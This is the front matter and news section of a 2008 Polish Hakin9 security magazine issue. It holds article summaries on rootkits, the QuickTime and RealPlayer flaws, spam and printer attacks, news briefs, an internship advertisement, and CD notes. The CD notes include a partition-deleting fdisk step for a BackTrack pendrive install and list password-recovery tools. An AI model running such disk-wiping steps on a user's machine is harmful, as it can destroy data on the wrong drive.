Hakin9 38 (06 2008) PL

background image
background image
background image
background image

SPIS TREŚCI

4

HAKIN9 6/2008

SPIS TREŚCI

5

HAKIN9

6/2008

5

HAKIN9

6/2008

5

HAKIN9

6/2008

5

HAKIN9

6/2008

jest wydawany przez Software–Wydawnictwo Sp. z o.o.

Dyrektor wydawniczy: Sylwia Pogroszewska

Redaktor naczelny: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Redaktor prowadzący: Robert Gontarski

robert.gontarski@software.com.pl

Kierownik produkcji: Marta Kurpiewska

marta.kurpiewska@software.com.pl

DTP Manager: Robert Zadrożny

DTP: Przemysław Banasiewicz

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska

pren@software.com.pl

Wyróżnieni betatesterzy:

Rafał Lysik, Marcin Kulawinek

Opracowanie CD: Rafał Kwaśny

Druk: 101 Studio, Firma Tęgi

Nakład wersji polskiej 6 000 egz.

Adres korespondencyjny:

Software–Wydawnictwo Sp. z o.o.

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 427 36 77, Fax +48 22 244 24 59

www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt:

cooperation@software.com.pl

Redakcja dokłada wszelkich starań, by publikowane w piśmie

i na towarzyszących mu nośnikach informacje i programy

były poprawne, jednakże nie bierze odpowiedzialności za

efekty wykorzystania ich; nie gwarantuje także poprawnego

działania programów shareware, freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością

odpowiednich firm i zostały użyte wyłącznie w celach

informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano

program

firmy

Płytę CD dołączoną do magazynu przetestowano

programem AntiVirenKit firmy G DATA Software Sp. z o.o.

Redakcja używa systemu

automatycznego składu

UWAGA!

Sprzedaż aktualnych lub archiwalnych numerów pisma

w cenie innej niż wydrukowana na okładce – bez zgody

wydawcy – jest działaniem na jego szkodę i skutkuje

odpowiedzialnością sądową.

hakin9 ukazuje się w następujących krajach:

Hiszpanii, Argentynie, Portugalii, Francji, Belgii,

Luksemburgu, Kanadzie, Maroko, Niemczech,

Austrii, Szwajcarii, Polsce, Czechach, Słowacji.

Prowadzimy również sprzedaż kioskową

w innych krajach europejskich.

Magazyn hakin9 wydawany jest

w 7 wersjach językowych:

PL

ES

CZ

EN

IT

FR

DE

UWAGA!

Techniki prezentowane w artykułach mogą być

używane jedynie we własnych sieciach lokalnych.

Redakcja nie ponosi odpowiedzialności za

niewłaściwe użycie prezentowanych technik

ani spowodowaną tym utratę danych.

NARZĘDZIA

14

Norton System Works – Standard Edition

Recenzja programu Norton System Works – Standard Edition.
Oprogramowanie to zawsze cieszyło się dużym uznaniem wśród
użytkowników komputerów. Radosław Matusiak opisał wady i zalety tego
produktu.

15

ESET Smart Security

Recenzja programu ESET Smart Security. W dzisiejszych czasach

zagrożenia napływające z Internetu coraz poważniej dają się nam we znaki.
Patryk Elżanowski badał niezawodnośc tego produktu.

POCZĄTKI

16

Test CAPTCHA

SŁAWOMIR ORŁOWSKI

Jak odróżnić człowieka od automatu w Internecie? Istnieje prosty
test, który może to sprawdzić. Wystarczy wygenerować obrazek ze
zniekształconym tekstem i kazać użytkownikowi go odczytać. Z artykułu
dowiesz się co to jest test CAPTCHA oraz jakie sa wady i zalety tego
rozwiązania.

ATAK

20 Hakowanie Apple

KONRAD ZUWAŁA

Apple od dawna jest producentem oprogramowania do odtwarzania
multimediów. Jego produkty, takie jak QuickTime czy iTunes, zyskały sobie
ogromną popularność wśród użytkowników, szczególnie, gdy posiadali
oni inny produkt Apple – iPod'a. Jednak bezpieczeństwo użytkowników
oprogramowania Apple zostało nadszarpnięte: odkryto lukę, która
pozwala na przejęcie kontroli nad komputerem ofiary – użytkownika
programu QuickTime.

24 Kod w Delphi – zmora crackera

ARTUR KOZUBSKI

Artykuł porusza kwestię zabezpieczania plików wykonywalnych przed
odkrywaniem przez osoby nieuprawnione algorytmów do szyfrowania
i generowania kluczy, zabezpieczających aplikacje Windows napisane
w środowisku Delphi. Podstawowym zabezpieczeniem jest utrudnienie
deasemblacji i analizy newralgicznych fragmentów kodu aplikacji
odpowiedzialnych za realizację algorytmu generującego klucze
aktywacyjne i ich weryfikację.

34 Zagrożenia drukarek

GRZEGORZ BŁOŃSKI

Dzisiejsze wielofunkcyjne drukarki sieciowe to prawdziwe kombajny.
Potrafią robić naprawdę wiele rzeczy. Czy – używając drukarki
wielofunkcyjnej w swojej sieci – jesteś pewny, że nie zwiększasz ryzyka
wycieku danych lub potencjalnego ataku na Twoją sieć? Autor wyjaśni co
to jest urządzenie MFP i jak chronić drukarki przed atakiem XSP.

background image

SPIS TREŚCI

4

HAKIN9 6/2008

SPIS TREŚCI

5

HAKIN9

6/2008

5

HAKIN9

6/2008

5

HAKIN9

6/2008

5

HAKIN9

6/2008

38 Rootkity ACPI

KONRAD ZUWAŁA

Rootkity od zawsze były zmorą administratorów sieci. Jednak wraz z rozwojem
technologii ukrywania złośliwego kodu w systemie, rozwijały się także narzędzia,
które go wykrywały. Przed ich twórcami stanęło teraz nowe zadanie: rootkity,
które ukrywają się w BIOSie, znane pod nazwą rootkitów ACPI. Jak się przed
nimi bronić i jak działają – o tym właśnie jest ten artykuł.

44 Techniki spamowania

RAFAŁ PODSIADŁY

O tym, co robią spamerzy, jakich technik używają i co grozi zwykłemu
użytkownikowi, gdy zasiada do komputera. Aby daną wiadomość można

było nazwać spamem, powinna spełniać kilka warunków: brak możliwości

zidentyfikowania nadawcy, niewyrażenie przez odbiorcę zgody na jej otrzymanie,
wiadomość ma charakter reklamowy, informacyjny lub ostrzegawczy.

OBRONA

50 Analiza wydajności systemu SNORT

MARCIN KLAMRA

Konieczność analizy wszystkich pakietów przesyłanych w sieci przez system
wykrywania włamań jest niezwykle istotna. Zgubienie choćby jednego pakietu
może doprowadzić do sytuacji niewykrycia ataku. Należy w taki sposób
konfigurować system wykrywania włamań, aby do tego typu sytuacji nie
dopuścić.

58 Continuous Data Protection – najlepsza ochrona

danych na naszym PC

MARIUSZ KAPANOWSKI

Artykuł przedstawia tematykę ochrony danych na komputerach osobistych
pod kątem ich dostępności. Opisuje zagrożenia, które mogą skutkować
utratą naszych danych z laptopa bądź PC–ta oraz proponuje rozwiązanie
zapobiegawcze. Pokazuje, jak działa mechanizm opracowany specjalnie do
ochrony danych na komputerach osobistych i czym się różni od mechanizmów
stosowanych dotychczas dla maszyn serwerowych. Autor przeprowadza
analizę najważniejszych cech programu do tworzenia kopii zapasowych.

64 MEncoder – vademecum ripowania

ŁUKASZ CIESIELSKI

Każdy zabierający się do czytania tego artykułu zapewne wie (lub raczej
powinien wiedzieć), czym jest MEncoder. Wspomnę jedynie, że wchodzi on w
skład pakietu odtwarzacza multimedialnego – MPlayer. Możliwości MEncodera
są ogromne. Właściwie można nim przekonwertować każdy materiał wideo
z jednego formatu na inny. Zaczniemy od podstaw, jednak pod koniec
artykułu Czytelnik będzie w posiadaniu wiedzy, która pozwoli mu na dowolne
manipulacje materiałem filmowym.

70 Monitoring zabezpieczeń

EDDIE SCHWARTZ, PRZEMYSŁAW KREJZA

Współczesne firmy i organizacje skupiają się na stosowaniu tradycyjnych
form obrony przed wzrastającą falą ataków sieciowych, typu IDS/IPS, SIM itd.
Coraz większa liczba incydentów dowodzi jednak, że rozwiązania te nie są
w pełni skuteczne. Z artykułu dowiesz się o słabych punktach dzisiejszych
zabezpieczeń systemowych oraz jak wygląda spojrzenie sledcze na incydenty.
Wyjasnione zostało pojęcie total network knowledge.

STAŁE

RUBRYKI

6 W skrócie

Przedstawiamy garść najciekawszych
wiadomości ze świata bezpieczeństwa
systemów informatycznych i nie tylko.

10 Zawartość CD

Prezentujemy zawartość i sposób
działania najnowszej wersji naszej
sztandarowej dystrybucji hakin9.live.

74 Wywiad

Wywiad z Panią Elżbietą Stojek,
specjalistką ds. bezpieczeństwa w
firmie Microsoft.

78 Felieton

Aktywny terror hackingu
Patryk Krawaczyński
Aktywiści podczas swoich wystąpień
wycierają buty na chodnikach przed
siedzibami wielu organizacji rządowych,
zarzucając je różnymi hasłami
politycznymi, podczas gdy inni wycierają
opuszki palców na klawiaturach,
zarzucając serwer zapytaniami w celu
jego całkowitego obciążenia.

82 Zapowiedzi

Zapowiedzi artykułów, które znajdą
się w następnym wydaniu magazynu
hakin9

background image

6

W SKRÓCIE

HAKIN9 6/2008

7

MATEUSZ STĘPIEŃ

HAKIN9

6/2008

FREEBSD 7.0

Wydano pierwszą stabilną wersję 7.0
systemu operacyjnego FreeBSD. Wersja
7.0 wprowadza w stosunku do poprzednich
wydań sporo nowych funkcji i usprawnień
m.in: eksperymentalne wsparcie dla systemu
plików ZFS Suna, usprawnienie schedulera
ULE, poprawki dla systemu plików Unionfs.
FreeBSD 7.0 dostępny jest obecnie na pięć
architektur: amd64, i386, ia64, pc98, PowerPC.

KOLEJNE BŁĘDY
W STRONACH RZĄDOWYCH

Jeden z konsultantów do spraw
bezpieczeństwa, który współpracuje z
portalem HACK.pl – Iwo Graj, znalazł błędy w
czterech stronach rządowych z województwa
świętokrzyskiego. Są to miedzy innymi:
Wojewódzki Fundusz Ochrony Środowiska
i Gospodarki Wodnej, Wojewódzki Urząd
Ochrony Zabytków, Wojewódzki Inspektorat
Ochrony Środowiska, Zakład Obsługi
Informatyki Świętokrzyskiego Urzędu
Wojewódzkiego w Kielcach. Ekspertyza
przyniosła dość interesujące rezultaty. Iwo
Graj znalazł błędy, które umożliwiają uzyskanie
informacji o całej strukturze bazy danych, jak i
też uzyskanie informacji na temat użytkowników
i ich haseł. ...Po pierwsze,wszystkie z
czterech stron posiadają błąd w jednej ze
zmiennych która nie posiada filtrowania
znaków specjalnych jak : ',() . co umożliwiają
kontynuowanie zapytania do bazy danych. W
obecnym czasie są to najbardziej popularne
błędy jakie można spotkać w Systemach
Zarządzania Treścią stron WWW. Często
podczas analizy, lub audytu aplikacji spotykam
się z takimi błędami...
– dodaje Iwo Graj

UBUNTU 8.04 ALPHA 6

Wielkimi krokami zbliża się oficjalna premiera
Ubuntu 8.04 Hardy Heron. Tymczasem

developerzy systemu wydali nową wersję
rozwojową Alpha 6 przeznaczoną do
szerszego testowania w celu wyłapania
najdrobniejszych błędów. Wśród nowości
między innymi: X.Org 7.3 z nowym
narzędziem do zmiany rozdzielczości,
Brasero – program do nagrywania CD/DVD,
Transmission – klient BitTorrent, dystrybucja
posiada jądro w wersji 2.6.24-11.17, które
bazuje na 2.6.24.3. Ubuntu to kompletna
dystrybucja systemu operacyjnego GNU/
Linux bazująca na dystrybucji Debian.
Projekt sponsorowany jest przez firmę Marka
Shuttlewortha Canonical Ltd. Pierwsze
wydanie Ubuntu ukazało się 20 października
2004 roku jako tymczasowa odmiana
dystrybucji Debian GNU/Linux.

LUKA
BEZPIECZEŃSTWA W REAL PLAYER

Specjalista ds. bezpieczeństwa IT – Elazar
Broad wykrył poważną lukę w kontrolce
ActiveX w popularnym odtwarzaczu plików
multimedialnych Real Player, która pozwala
na doprowadzenie do awarii przeglądarki,
a nawet do wstrzyknięcia i wykonania
szkodliwego kodu na komputerze ofiary.
Do ataku dochodzi, gdy użytkownik
odwiedzi specjalnie spreparowaną stronę
internetową przy użyciu przeglądarki

Internet Explorer. Błąd wykryty został w
komponencie rmoc3260.dll modułu ActiveX
i umożliwia napastnikowi nadpisanie
bloków danych na stercie po ich uwolnieniu
oraz na modyfikowanie niektórych
rejestrów. Na chwilę obecną firma Real,
producent RealPlayera nie udostępniła
jeszcze łaty. Elazar Broad zaleca jednak,
by użytkownicy RealPlayera ustawili
killbit dla następujacych identyfikatorów
klas {2F542A2E-EDC9-4BF7-8CB1-
87C9919F7F93} i {CFCDAA03-8BE4-
11CF-B84B-0020AFBBCCFA}. Dokładna
informacje dotyczącą ustawiania killbitu
można znaleźć na stronach Microsoft'u w
artykule KB240797.

IMAGINE CUP
2007 AKCELERATOR INNOWACJI:
POLACY ZWYCIĘZCAMI!

Microsoft poinformował, że drużyna InPUT,
finaliści Microsoft Imagine Cup 2007 w
kategorii Projektowanie Oprogramowania,
zwyciężyli w trzeciej edycji programu
Imagine Cup Innovation Accelerator w
Mountain View w Kalifornii. Program jest
prowadzony w formie warsztatów, szkoleń
i laboratoriów i ma na celu szkolenie
młodych talentów technologicznych w
zakresie umiejętności biznesowych, które
pozwolą im przekształcić swoje projekty
konkursowe w prawdziwe rynkowe produkty.
Szkolenia, w których wzięliśmy udział
były zarówno techniczne, jak i biznesowe.
Pod okiem ekspertów rozwijaliśmy swoje
projekty, przygotowując profesjonalne
biznes plany oraz ćwicząc profesjonalne
prezentacje. Co 2 dni prezentowaliśmy
nasze projekty przed sędziami. W
pierwszym tygodniu prezentacje trwały
7 minut, w drugim tygodniu – 10 minut.
Podczas finałów Imagine Cup w Polsce
i w Korei mieliśmy na zaprezentowanie
swojego rozwiązania 20 minut, dlatego
zmiana na 7-minutowy pokaz była dla
nas nie lada wyzwaniem. Szkolenia i
warsztaty odbywały się w bardzo przyjaznej
atmosferze, mimo to rywalizacja była
zacięta. Wszystkie drużyny dawały z
siebie to, co najlepsze. Wygrana z tak
silną konkurencją jest dla nas ogromną
przyjemnością. Ciężko pracowaliśmy
na ten sukces
– powiedział Szymon
Wybrański, kapitan drużyny InPUT. Każda
z drużyn otrzymała na starcie 500 tyś.

background image

6

W SKRÓCIE

HAKIN9 6/2008

7

MATEUSZ STĘPIEŃ

HAKIN9

6/2008

wirtualnych dolarów, a następnie zarabiała
kolejne za poszczególne prezentacje.
Polacy zwyciężyli z dużą przewagą. Wyniki
tegorocznej edycji programu Imagine Cup
– Akcelerator Innowacji są następujące:
1.Polska – 1,721,540 wirtualnych dolarów,
2.Irlandia – 1,279,000 wirtualnych dolarów,
3.Tajlandia – 1,160,220 wirtualnych dolarów,
4. Jamajka – 1,073,000 wirtualnych
dolarów, 5. Meksyk – 1,000,150 wirtualnych
dolarów, 6. Korea – 922,000 wirtualnych
dolarów.

PRZESTĘPSTWO W INTERNECIE
NIE JEST ANONIMOWE

Policjanci z sekcji do walki z
przestępczością gospodarczą zatrzymali
parę młodych ludzi, którzy w ramach
zemsty na byłej dziewczynie włamali
się do jej konta e-mail, komunikatorów.
Sprawcy zmienili hasła, a z konta rozsyłali
obraźliwe e-maile. Rafał B. lat 22 i Sylwia
D. lat 21 usłyszeli zarzuty utrudniania,
zniszczenia i zmiany dostępu do danych
teleinformatycznych. Grozi im do 3 lat
pozbawienia wolności.

G DATA SOFTWARE OSTRZEGA
PRZED WIDEO-SPAMEM

Eksperci z firmy G DATA Software ostrzegają
internautów korzystających z portali z plikami
wideo przed instalowaniem wtyczek do
przeglądarek z nieznanych źródeł, ponieważ
bardzo często są to szkodliwe programy.
Cyberprzestępcy wciąż szukają nowych
trików, aby zachęcić nieświadome zagrożeń
ofiary do zainstalowania szkodliwego
oprogramowania na swoim komputerze.
Aby móc oglądać filmy umieszczane w
serwisach internetowych, Internauci zmuszeni
są do zainstalowania szeregu wtyczek, w
tym programów do obsługi języka Java. Gdy
przeglądarka nie posiada wymaganych
aplikacji, bądź są one zablokowane,
pojawia się komunikat o konieczności
zainstalowania obsługi Javy, podane są
również linki, pod którymi można znaleźć
odpowiednie plug-iny. Specjaliści z G
DATA Software odkryli, iż ten mechanizm
informowania o konieczności instalacji
wtyczek wykorzystują obecnie przestępny,
umieszczając pod spreparowanymi filmami
linki do plików wykonawczych rzekomo
wymaganych do ich obejrzenia. Wystarczy

zezwolić na instalację fałszywej aplikacji, aby
zainfekować komputer. G DATA Software to
międzynarodowy lider rozwiązań do ochrony
komputera – antywirusów, programów do
szyfrowania i ochrony danych oraz niszczenia
danych poufnych. Portfolio produktów firmy
G DATA Security obejmuje rozwiązania
zabezpieczające dla klientów końcowych,
małych i średnich firm oraz dużych
przedsiębiorstw. Rozwiązania G DATA Security
są obecne na rynkach USA, Japonii, Niemiec,
Anglii, Francji, Włoch, Hiszpanii, Kanady, Polski,
Korei, Holandii, Belgii, Austrii, Szwajcarii, Węgier
oraz w Luksemburgu. Międzynarodowa
centrala firmy mieści się w Bochum
(Niemcy). W Polsce firma ma swoją siedzibę
w Szczecinku, z oddziałem handlowym
zlokalizowanym w Warszawie.

DZIURAWY FLASH

Firma Adobe potwierdziła występowanie
błędów w kilku swoich flagowych programach
– Flash Basic, Flash Professional i Flash
Creative Suite 3 Professional. Dziura pozwala
na przemycenie szkodliwego kodu wewnątrz
odpowiednio spreparowanych plików z
rozszerzeniem .fla Odkrywca luki – Fortinet
oraz Adobe nie zdradziły szczegółów
dotyczących luk. Firma nalega, by użytkownicy
zainstalowali wersję 9.0.16.0 Flash Playera,
koncern przygotował też poprawione edycje
dla systemów Linux i Solaris. Na dzień
dzisiejszy nie jest dostępna łatka. Adobe
prawdopodobnie naprawi błąd przy okazji
publikacji następnej wersji Flash Professional.

NAUCZYCIEL HANDLOWAŁ
NIELEGALNYMI PŁYTAMI

Świętokrzyscy policjanci, znaleźli w
mieszkaniu 40-letniego nauczyciela z
powiatu buskiego około 1300 nielegalnie
skopiowanych płyt CD z programami

komputerowymi, filmami i muzyką.
Agresywny mężczyzna próbował oszukać
funkcjonariuszy jednak jego wysiłek poszedł
na marne – zostaną mu postawione zarzuty
i zostanie doprowadzony przed oblicze
prokuratury. Z pierwszych ustaleń Policji
wynika, że mężczyzna sprzedawał płyty za
pośrednictwem jednego z internetowych
portali aukcyjnych, grozi mu teraz do 5 lat
pozbawienia wolności oraz wysoka kara
grzywny.

KOŃ TROJAŃSKI
KRADNIE... KLIKNIĘCIA

Specjaliści ds. bezpieczeństwa
komputerowego odkryli konia trojańskiego
Trojan.Trafbush, którego zadaniem
jest klikanie w reklamy kontekstualne na
wybranych stronach. W wyniku szkodliwego
działania trojana z kont reklamodawców
pobierane są pieniądze za kliknięcia, które
nigdy nie miały miejsca. Wygląda to tak,
jakby na reklamę klikała prawdziwa osoba,
a w rzeczywistości nikt nie klika i nikt nie
ogląda witryn reklamodawcy
– mówi
Zulfikar Ramzan. To już drugi szkodliwy
kod, pierwszym był Trojan.Farfli, odkryty
w ostatnim czasie, który zajmuje się tzw.
defraudacją kliknięć. Na chwilę obecną
nie wiadomo kto jest odpowiedzialny za
wypuszczenie kodu do Sieci. Podejrzewani
są właściciele stron, na których koń
trojański generuje fałszywe kliknięcia.

MICROSOFT KUPIŁ KOMOKU

Microsoft kupił firmę Komoku, zajmującą
się wykrywaniem i zapobieganiem przed
rootkitami. Technologia Komoku ma być
włączona do produktów Windows, dzięki
czemu korporacja ulepszy swoje narzędzia
antywirusowe o zwalczanie rootkitów. Komoku
jest firmą założoną cztery lata temu przez
rząd USA. Aktualnie Komoku zarządzana jest
przez specjalizującego się od szesnastu lat w
bezpieczeństwie informatycznym Dr. Williama

background image

8

W SKRÓCIE

HAKIN9 6/2008

9

MATEUSZ STĘPIEŃ

HAKIN9

6/2008

Arbaugha oraz byłego pracownika Silicon
Graphics Inc. i Atheros Communications,
Jeffrey’a Chunga. Komoku współpracowało
z firmą Symantec w celu opracowania
mechanizmów usuwania rootkitów oraz
przywracania systemu.

SLAX 6.0.3

Tomas Matejicek wydał kolejną wersje
dystrybucji SLAX 6, zbudowanej w oparciu
o jedną z najstarszych dystrybucji Linuksa
– Slackware. Nowa wersja 6.0.3 zawiera
zaktualizowane komponenty KDE, usunięta
została paczka gnutls, poprawione zostały
błędy związane z uruchomieniem systemy.
SLAX to jedna z dystrybucji Linuksa typu
LiveCD, tworzona jest w całości przez tylko
jedną osobę – Czecha Tomasa Matejiceka.
Głównym założeniem SLAX-a jest
mobilność. Zajmuje on tylko ok. 180 MB, co
sprawia, że z łatwością można go zmieścić
na CD lub Pendrivie.

MOZILLA FIREFOX 2.0.0.13

Mozilla Foundation opublikowała nowe
wydanie przeglądarki Mozilla Firefox 2.0.0.13.
W nowej wersji programiści poprawili
znacznie bezpieczeństwo, eliminując
kilka krytycznych błędów umożliwiających

potencjalnemu napastnikowi przemycenie
do systemu szkodliwego kodu, a także
fałszowanie zawartości stron WWW.
Jak widać, coraz większa popularność
przegladarki przysparza jej programistom
coraz więcej pracy. Na szczęście Mozilla
Corporation szybko reaguje na najbardziej
uciążliwe i niebezpieczne dla użytkowników
usterki. Firefox jest przeglądarką internetową
oparta o silnik Gecko, tworzona jest
przez Fundację Mozilla/Korporację
Mozilla oraz wolontariuszy. Firefox jest
wciąż udoskonalany i staje się coraz
bardziej popularną przeglądarką stron
WWW, skupiającą za sobą wierne grono
użytkowników-fanów.

LUKI W PRZEGLĄDARCE SAFARI 3.1

Argentyński haker Juan Pablo Lopez
Yacubian odkrył dwie luki w najnowszej
edycji przeglądarki Safari, oznaczonej
symbolem 3.1. Argentyńczyk informuje, że
wykryte przez niego błędy w przeglądarce
mogą zostać wykorzystane przez
atakującego do podstawienia fałszywej
zawartości witryny lub do wstrzyknięcia
szkodliwego kodu. Yacubian opracował dwie
przykładowe strony internetowe ilustrujące
istnienie i konsekwencje występowania
błędów w windowsowej wersji przeglądarki
Safari 3.1. Błąd nie występuje w Safari dla
systemu Mac OS X. Apple nie przygotowało
jeszcze poprawek. Na chwilę obecną
Apple nie wydało aktualizacji niwelującej
wspomniane luki w przeglądarce Safari 3.1.

NOWY STARY ROOTKIT

Odkryty niedawno rootkit głównego
sektora rozruchowego wyewoluował i
stał się bardziej niebezpieczny. Nowa

wersja potrafi manipulować sterownikiem
classpnp.sys, przez co używane dotąd
narzędzia antyrootkitowe posługują się
podstawionymi przez rootkita danymi i
mogą nie móc go wykryć.

WŁAMANIE DO SPOŻYWCZEGO

Hakerzy zaatakowali sieć sklepów
spożywczych Hannaford Bros. i ukradli
dane dotyczące 4.2 miliona kart
kredytowych, nie skradziono jednak
żadnych danych adresowych klientów
sieci. Włamanie do sieci odkryto 27 lutego
po tym, jak klienci poinformowali sklep
o niepokojących operacjach na koncie.
Przepraszamy za włamanie do naszego
systemu który, jak wierzymy, jest jednym z
najlepszych na rynku. Ukradziono numery
kart kredytowych i debetowych oraz daty
ich wygaśnięcia. Włamania dokonano z
jednego z naszych komputerów podczas
autoryzacji kart
- oświadczył szef firmy
Hannaford Ronald Hodge.

PROGRAM
STAŻOWY ENTER 2008 W ALTKOM
SOFTWARE & CONSULTINGE

Odbywanie praktyk zawodowych

w instytucjach państwowych czy
prywatnych firmach stało się wśród
studentów polskich uczelni powszechne.
Każdy student poważnie myślący o
swojej przyszłej karierze zawodowej ma
praktyki na stałe wpisane do kalendarza
zajęć akademickich. Adresowane do
studentów czasopisma młodzieżowe,
działające przy uczelniach wyższych
biura karier czy odbywające się
cyklicznie imprezy targowe regularnie
dostarczają zainteresowanym informacji
o aktualnych ofertach. Przeglądając je,
można dojść do wniosku, że praktyki są
dostępne właściwie w każdej, mniejszej

background image

8

W SKRÓCIE

HAKIN9 6/2008

9

MATEUSZ STĘPIEŃ

HAKIN9

6/2008

lub większej, firmie, a zainteresowani
mogą przebierać w ofertach, dobierając
je stosownie do własnych potrzeb i
oczekiwań. Czy propozycje stażowe
pracodawców pokrywają się jednak
w pełni z oczekiwaniami studentów i
rzeczywiście są startem do kariery? Czy w
każdej firmie oferującej praktyki zawodowe
zainteresowani mogą liczyć na zatrudnienie
po zakończeniu okresu stażowego? Firmy
zazwyczaj proponują bezpłatne (rzadziej
płatne) praktyki na okres od 1 do 6
miesięcy. Większość ofert stażowych jest
do siebie bardzo podobna – stażysta, po
uzyskaniu odpowiedniego zaświadczenia
o odbyciu praktyki, najczęściej wraca
na uczelnię albo od razu trafia na rynek
pracy i na własną rękę szuka pierwszego
pracodawcy. Tak jest prawie we wszystkich
przypadkach.

Wyjątek stanowi niewątpliwie Program

stażowy Enter, przygotowany przez
Altkom Akademię z myślą o młodych
informatykach. Różni się on od innych
ofert stażowych właściwie pod każdym
względem:

• PRAKTYKA GRUPOWA: Altkom

jednorazowo przyjmuje grupę 24
stażystów – po osiem osób na
każdą z proponowanych ścieżek
zawodowych.

• CZAS TRWANIA: 21 miesięcy, z czego

trzy pierwsze miesiące obejmują
szkolenie specjalistyczne w obrębie
jednej z trzech ścieżek zawodowych.
Organizator oferuje szkolenia w zakresie
programowania Java, programowania
.Net oraz analizy z udziałem najlepszych
wykładowców Altkom Akademii,
doświadczonych zarówno w dydaktyce,
jak i w realizacji komercyjnych projektów
informatycznych. Po zakończeniu
szkolenia uczestnicy rozpoczynają
trwający 18 miesięcy staż w pionie
Altkom Software & Consulting, gdzie
pod okiem najlepszych specjalistów,
na odpowiednio przygotowanych
przykładach trenują to, czego nauczyli
się w trakcie szkolenia. W trakcie stażu
stopniowo wdrażają się w realizację
komercyjnych projektów dla klientów
firmy. Czuwa nad nimi zespół tutorów.

• PRAKTYKA PŁATNA: udział w

Programie stażowym Enter powinien
być, zgodnie z koncepcją organizatora,

startem do kariery zawodowej w
branży informatycznej. Dlatego
stażysta już od pierwszego dnia
otrzymuje wynagrodzenie. Jego
wysokość zmienia się po zakończeniu
szkolenia wraz z rozpoczęciem stażu.
Wynagrodzenie odpowiada zarobkom
początkującego informatyka. Po
zakończeniu programu kandydat, który
zdecyduje się na kontynuację kariery
w strukturze firmy, może liczyć nie tylko
na wysoką pensję, ale i na udział w
systemach premiowych.

• KONTRAKT STAŻOWY: stażysta

w ramach udziału w programie
podpisuje umowę dwukrotnie.
Pierwszy kontrakt otrzymuje na
początku szkolenia, drugi – na
początku stażu. W obu dokumentach
określone są podstawowe prawa i
obowiązki obu stron.

• PAKIET SOCJALNY: w trakcie

3-miesięcznego szkolenia
stażyści spoza Warszawy mają
zagwarantowane darmowe
zakwaterowanie w wygodnym ośrodku
noclegowym Altkom Akademii.
Organizator funduje im też obiady
oraz kartę sieciową na przejazdy
komunikacją miejską. Po zakończeniu
programu stażyści mogą przystąpić
do egzaminów certyfikacyjnych,
których koszt ponosi organizator.
Ponieważ ich status w firmie w trakcie
szkolenia odpowiada statusowi
pracownika, objęci są także prywatną
opieką medyczną.

• SZANSA NA ZATRUDNIENIE: po

zakończeniu programu stażyści mogą
liczyć na dalszą karierę w jednym z
działów lub ośrodków Altkom Akademii.
Kandydaci zainteresowani zdobywaniem
doświadczenia zawodowego w innych
firmach informatycznych, nie chcąc
zarazem rozstawać się z Altkom
Akademią, będą mogli skorzystać
z powstającego właśnie systemu
head-leasingu. Możliwość zatrudnienia
na stałe zależy zarówno od wyników
programu, jak i predyspozycji kandydata
oraz jego motywacji do dalszej pracy.
Organizator programu Enter liczy na
to, że wszyscy uczestnicy programu
odnajdą w Altkom Akademii swoje
miejsce i będą chcieli związać się z
firmą na przyszłość.

Pracując nad koncepcją organizacji
Programu stażowego Enter 2008, zespół
Altkom Software & Consulting uwzględnił
całą gamę problemów, z którymi boryka
się początkujący informatyk, i zestawił je z
własnymi doświadczeniami, zdobywanymi
przez lata rekrutacji specjalistów. Program
Enter 2008 zapewnia idealną równowagę
pomiędzy oczekiwaniami młodego
pracownika a oczekiwaniami pracodawcy.
Sukces zeszłorocznej edycji programu
utwierdził Altkom w przekonaniu, że
organizacja przedsięwzięć, takich Enter,
jest dużo efektywniejszym sposobem na
pozyskanie do firmy cennego pracownika
niż tradycyjna rekrutacja. Prowadząc
nabór do programu, Altkom wybiera
takich kandydatów, którzy odpowiadają
strategii rozwoju firmy, ma wpływ na ich
właściwy rozwój, a także gwarancję, że
zostaną odpowiednio przygotowani do
pracy.

Program Enter odbywa się w edycjach

rocznych (kolejną zaplanowano na jesień
2009), jednak zainteresowani kandydaci
mogą stale przesyłać swoje zgłoszenia
do biura organizatora. Nadsyłane
aplikacje są gromadzone w bazie firmy.
Kandydaci, którzy dobrze zaprezentują
się w trakcie rozmowy kwalifikacyjnej, a
ich wiedza lub doświadczenie zawodowe
szczególnie dobrze rokują, mogą liczyć
na propozycję pracy na stanowisku
specjalisty bez konieczności zaliczania
stażu.

Więcej informacji o Programie stażowym
Enter:

http://www.altkom.pl/enter

Partner Programu:

• NZS Drogowskazy Kariery

Patroni medialni:

• Hakin9,
• Software Developer’s Journal,
• Linux +,
www.pracuj.pl,
www.businessman.pl,
www.PracaDlaStudenta.pl,
www.Kariera.IT.pl,
• Radio WAWA,
• Radio VOX FM.

background image

10

NA CD

HAKIN9 6/2008

11

HAKIN9.LIVE

HAKIN9

6/2008

Na dołączonej do pisma płycie znajduje się dystrybucja hakin9.live (h9l) w wersji 4.0.3

on BackTrack2.0, zawierająca przydatne narzędzia, dokumentację, tutoriale i materiały

dodatkowe do artykułów.

ZAWARTOŚĆ CD

Aby zacząć pracę z hakin9.live, wystarczy uruchomić komputer z CD. Po

uruchomieniu systemu możemy zalogować się jako użytkownik hakin9 bez

podawania hasła.

JAK ZACZĄĆ

PROGRAMY

• Advanced PDF Password Recovery
• Advanced Outlook Express Password

Recovery

• Elcomsoft Distributed Password

Recovery

• HDDlife
• Partition Manager

FILMY INSTRUKTAŻOWE

Ósmy odcinek: Session_Poisoning-
zatruwanie sesji PHP

Kolejny odcinek z serii filmów

instruktażowych, przedstawiający
najpopularniejsze metody ataków na
strony internetowe.

BACKTRACK2.0 NA TWOIM

PENDRIVIE

Utwórz partycję na pendrivie:

# fdisk /dev/sda

Uwaga: Jeśli posiadasz dyski SCSI lub
SATA, sprawdź gdzie są umieszczone

/dev/sda

może być Twoim dyskiem

systemowym!

Wykasuj wszystkie istniejące partycje

(wciśnij d oraz Enter, później wprowadź
ilość partycji – od 1 do 4). Aby sprawdzić
obecny stan partycji, wprowadź p. Później
zacznij tworzyć nową partycję FAT32
– o wielkości około 800 MB. W tym celu
wciśnij n, zatwierdzając klawiszem Enter.
Zacznij od początku i ustal wielkość
tworzonej partycji lub wciśnij jeszcze

raz Enter, aby użyć całego urządzenia.
